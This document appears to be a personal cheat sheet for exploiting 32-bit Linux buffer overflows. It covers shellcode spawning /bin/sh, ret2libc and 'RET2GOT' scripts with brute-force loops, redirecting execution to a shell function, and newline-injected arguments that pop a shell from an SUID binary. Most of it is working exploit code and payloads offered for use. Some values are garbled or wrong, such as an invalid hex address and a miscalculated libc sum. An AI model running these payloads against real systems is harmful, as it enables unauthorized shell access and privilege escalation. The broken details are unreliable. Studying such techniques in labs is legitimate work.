A little bit of Basics

#Always use [struct] module from python to evaluat expressions according to the little endian. An example is below to evaluate [0x80002ff0] in little endian. This is becauase values are written into memory in reverse byte order

```
python -c 'from struct import pack; pack("
<L",0x80002ff0)'
Output : \xf0\x2f\x00\x80
```

#Checking if the binary has protections

```
root@kali:checksec -file=[name]
```

if output shows NX is disabled then this means no protections

#Check if ASLR is enabled on target machine

```
cat /proc/sys/kernel/randomize_va_space
```

0 : means ASLR Disabled.

1: means enabled.

2: means enabled.

#NX is a kind of protection where executing code in the stack is prohibited.

#ASLR is a kind of protection that randomizes memory addresses.

#Use [r.interactive()] at the end of every exploit script you create incase you didn't receive a shell. [r.interactive()] returns control in the terminal.

If you experience problems while you are trying to catch the shell after exploiting buffer overflow then it likely means firewall is preventing egress connection from the target machine to yours.

Change your shell code payload to the one below

```
shellcode[]=
"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\
xc6"
"\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\
x80"
"\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\
xf6"
"\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\
x6e"
"\x89\xe3\x31\xc9\xcd\x80";
```

Source [https://www.exploit-db.com/exploits/34060]

Exploiting Buffer ovewflow when NX is enabled usin ret2libc

#Start the binary with gdb

```
Gdb -q ./[name]
```

#Viewing the main code

```
Gdb-peda$:pdisass main
```

#Generating a pattern

```
Gdb-peda$:Pattern_create 500
```

#Next Run the pattern against the binary to see how many bytes required to overwrite the EIP

```
r '[pattern]'
```

OR

```
Gdb-peda$:run ‘pattern’
```

#After that, when you hit a segmantation fault take a note of the [EIP]. We will assume it's [0x41384142].

#Next we find after how many bytes the application breaks hence we need to find the offset

```
pattern_offset 0x41384142
```

Take a note of the offset you found. Say it's [110] it means the application breaks after [110] bytes.

#In order to get a shell, we need to find couple addresses such as [system] and [/bin/sh] in addition to [exit]

```
Gdb-peda$:p system
```

#Take note of the address. Say it's at [0xb759c320]
For [/bin/sh] we add random data to system to reveal its address

```
find 0xb759c320, +9939401, "/bin/sh"
```

#Take a note of the address in output. Say it's [0x76beb9e]

You can verify its indeed for [/bin/sh] by running below command in gdb

```
x/s 0x76beb9e
```

Alternative way to find the address of [/bin/sh]

On the target vulnerable machine, we store [/bin/sh] in an environment variable called [shellcode]

```
export shellcode=/bin/sh
echo shellcode
```

And then with a simple C program below we can find the address

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv)
{
        char *ptr = getenv("shellcode");
        if (ptr != NULL)
        {
                printf("/bin/sh address:
%p\n", ptr);
```

```
                return 0;
        }
}
```

Compile the code

```
gcc address-finder.c address-finder
```

And run

```
./address-finder
```

It should give you the address.

Another Alternative way to find the address of [/bin/sh]

On the target machine, we find the offset of [/bin/sh] in [libc] using the string command.

```
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```

Say the offset is [0x0015ba2a]
Next you need the address of [libc] which you can get by running [ldd] against the binary

```
ldd [binary-name]
```

Say it's [0xb7e12000] then the final [/bin/sh] address is

libc address + offset of [/bin/sh]

**0xb7e12000+x0015ba2a = 0xb7d72a2a

#For the [exit] address, we can find it same as we did for [system].

```
Gdb-peda$:p exit
```

Say it's [0xb758f234]

#Lastly, we create a small script that contains all those values and send it in little endian format

```
while true;

do /usr/local/bin/ovrflw $(python -c
'print "A" * [offset]+ "System + Exit +
/bin/sh" ');

done
```

Another way of creating the script using [struct]

```
import struct
```

```
buf = "A" * 80
system = struct.pack("I" ,0xb759c320)
exit = struct.pack("I" ,0xb758f234)
shell = struct.pack("I" ,0x76beb9e)


print buff + system + exit + shell
```

Run the script and pipe the output to the vulnerable program.
Note: if you get an error such as

```
sh: 6: not found
```

This means that the address of [/bin/sh] is not exact and you need to go up and down with the address. For example, the address we have in this scenario is [0x76beb9e] all you have to do is to add increments or decrements to the address untill you get the right one.

Side Note

In the above method, sometimes you may need to find the address of [execl] instead of [system]. The reasons is sometimes you run out of virtual memory which makes the exploit fails. In that case use [execl] instead.

Exploiting without ASLR and binary protections.

With gdb+peda

#Start the binary with gdb

```
Gdb -q ./[name]
```

#Viewing the main code

```
Gdb-peda$:pdisass main
```

#Generating a pattern

```
Gdb-peda$:Pattern_create 500
```

#Running the pattern against the binary

```
Gdb-peda$:run ‘pattern’
```

OR you can generate the pattern with python if you don't have [peda]

```
(gdb) run $(python -c 'print "A"*500')
```

OR You can again generate a pattern with [MSF]

```
/usr/share/metasploit-
framework/tools/exploit/pattern_create.rb
-l 500
```

#Note down the value at the EIP and feed it to pattern_offset to find the offset

```
Gdb-peda$:pattern_offset [value]
```

Alternatively, you can find the offset with [MSF]

```
/usr/share/metasploit-
framework/tools/exploit/pattern_create.rb
-l 500 -q [value-at-EIP]
```

#In this step, we use a shellcode that spawns [/bin/sh] and send it to the program as part of the script below.
We also use [nop] which let the cpu do nothing to prevent the execution from failing.
The purpose of the script below is to send our shellcode and write 4 [Bs] in order to understand and find where will be the address of our shellcode.

```
buf_size=[offset-found-from-above]
shell_code =
"\x31\xc0\x50\x68\x2f\x2f\x73"
shell_code +=
"\x68\x68\x2f\x62\x69\x6e\x89"
shell_code +=
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
shell_code +=
"\xcd\x80\x31\xc0\x40\xcd\x80";
nop_sled = "\x90"*(buf_size-
len(shell_code))
eip = "B" * 4
payload = nop_sled + shell_code + eip
print payload
```

```
Gdb-peda$:run $(python shell.py)
```

```
Gdb-peda$: x/500x $esp-500 : examining the
esp
```

#Here we look where our [shellcode] starts in memory. To make things easier, look where is the last occurenace of [x90] and mark the corresponding memory address. It will be the address of your [shellcode]. But to make this work,

we can pick up any address in the mids of [x90].
Say it's [0xbffff550]
Updating the script:

```
buf_size=[offset-found-from-above]
shell_code =
"\x31\xc0\x50\x68\x2f\x2f\x73"
shell_code +=
"\x68\x68\x2f\x62\x69\x6e\x89"
shell_code +=
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
shell_code +=
"\xcd\x80\x31\xc0\x40\xcd\x80";
nop_sled = "\x90"*(buf_size-
len(shell_code))

eip = "\xb0\xf7\xff\xbf" #0xbffff550
payload = nop_sled + shell_code + eip
print payload
```

```
Gdb-peda$:run $(python shell.py)
```

And wait for the shell.

Using pwndbg to exploit BOF

#Installation

```
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
```

#Now when you run gdb it will be poped there by default.
A typical scenario is when you have a binary say it was [bof]
First we run it with [gdb]

```
gdb bof
```

#Assuming the binary crashes if we provide input more than [30] characters, we can generate a cyclic input of [50] characters to crash the application

```
r < <(cyclic 50)
```

#Take a note of the address of [EIP]. Say it crashed at [0x6161616b].
The next step is to find how many characters are needed before we overwrite the [EIP]. This

corresponds with finding the offset if you are using [gdb] alone or with [peda].

```
cyclic -l 0x6161616b
```

#Assume the number of characters in the output was [45]. This means after [45] characters we can write our own payload and make EIP execute it. Now from here you can either pick-up a shell code that spawns a shell

```
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\
xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\
x53\x89\xe1\x99\xb0\x0b\xcd\x80"
```

#And if you want to use it inside a script, then use below

```
shell_code =
"\x31\xc0\x50\x68\x2f\x2f\x73"
shell_code +=
"\x68\x68\x2f\x62\x69\x6e\x89"
shell_code +=
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
```

```
shell_code +=
"\xcd\x80\x31\xc0\x40\xcd\x80";
```

#then you can send a payload constituting of [nop] + [shellcode] + [address of the eip where its overwritten with your pattern (As) or (Bs)]. See examples from the previous sections.

#OR you can change the execution flow of the program to another function. Say the binary you are exploiting has a function that let you spawn a shell. Call the function [shell].
By finding the address of the function, you can add it to a pattern and change the exection.
Finding the address of the [shell] function.

```
gdb: dissassemble shell
```

This will give you an assembly code of the function. Pick the first address. Assume it's [0x080484cd].

Then your final payload is

```
payload = pattern + 0x080484cd
example:
```

```
payload = python -c 'print "B"*45 +
"\xcd\x84\x04\x08"'
```

Send this payload to the binary by piping the its output to the binary

```
python -c 'print "B"*45 +
"\xcd\x84\x04\x08"' | BOF
```

After this, the binary will execute whatever the [shell] function was supposed to do hence you changed program execution using BufferOver flow.

Using BOF to control global variables in a program

This is a case where you have the source code of a program. The program has variables defined with different values and they are involved in a process to perform a specific function such as authentication or input validation.

There will be times where in order to gain shell, you have first to bypass the progam mechanism of working such as a required authentication or input validation.

Here it comes the importance of controlling

registers such as [EBX], [EAX] and [ECX].
In some cases and speficially when [NX] and [PIE] are enabled, these registers are used to referrence global variables. So by controlling these registers using an overflow you can control the value of the global variables used for the authentication or input validation function.

RET2GOT: BOF when NX and ASLR protections are enabled. [ldd]

To perform the RET2GOT technique, we have the find couple addresses. The below commands are to be issued on the compromised machine

Find libc address

```
ldd [path to bof binary]
```

Find libc system function:

```
readelf -s /lib32/libc.so.6 | grep system
```

Find libc exit function

```
readelf -s /lib32/libc.so.6 | grep exit
```

Find libc /bin/sh reference

```
strings -a -t x /lib32/libc.so.6 | grep /bin/sh
```

Then we can use a script like below and execute on the target machine

```
import struct, subprocess
libc = 0xf75e2000
sysOffset = 0x0003a940
sysAddress = libc + sysOffset
exitOffset = 0x0002e7b0
exitAddress = libc + exitOffset
binsh = libc + 0x0015900b

bofshell = "A" * 512
bofshell += struct.pack("<I",sysAddress)
bofshell += struct.pack("<I",exitAddress)
bofshell += struct.pack("<I",binsh)

trials = 0
while True:
                    trials += 1
                    print "Trying: " + trials
```

```
subprocess.call(["[path-to-binary]","-i",
"3de811f4ab2b7543eaf45df611c2dd2541a5fc5af
601772638b81dce6852d110", bofshell])
```

RET2GOT: BOF when NX and ASLR protections are enabled. [Radar2]

We follow the same methodology as above but using radar2 we can find the addresses of [system] [exit] and [/bin/sh]

```
aa
fs imports; f
fs strings; f
```

If you couldn't find the address of [/bin/sh] using [radar2] then you can issue the below command on the target machine

```
strings -a -t x /lib32/libc.so.6 | grep
/bin/sh
```

Lastly your payload is a oneliner. Make sure to know how many bytes are needed to cause segmentation fault. In the below example it's

[600].
Also my values were

system address = 0x040584y8
exit address =0x090287b0
/bin/sh = 0x010293d4

The final payload:

```
$(python2 -c
'print("A"*600+"\xy8\x84\x05\x04"+"\xb0\x8
7\x02\x09"+"\xd4\x93\x02\x01")')
```

You can pass it as an argument to the binary.

Exploiting binaries that have SUID bit [s]

First we check if the binary is listed in the below website

```
https://gtfobins.github.io/
```

If it's not then we can follow the below checklist

Checking system calls

we use [ltrace] to checkout the libraries and system calls in the applications. This reveals insights on how the application using passing its arguments and how system calls are being made. Sometimes hardcoded credentials can be found.

```
ltrace [path-to-binary]
```

Use radar2 and print a visual represntation of the code

cases

case [1] The binary passes one of its arguments to [system]

In this case, command injection is highly possible. We try to pass system commands in place of the argument being passed to [system()]. For example, a binary that performs backup and passes the argument,thattakes in the source directory, to system(). #EX

```
./backup [path-to-directory]
```

We can execute sys commands in the argument as below. This will give and call [/bin/sh]

```
./backup "$(printf '\n/bin/sh\necho OK')"
```

[OR]

```
./backup $'\n /bin/sh \n echo OK'
```

[OR]

```
./backup "bash #"
```

Resources

Shellcodes database

```
http://shell-storm.org/shellcode/
```

Ready /bin/sh Shellcode

```
https://www.exploit-db.com/exploits/13357
```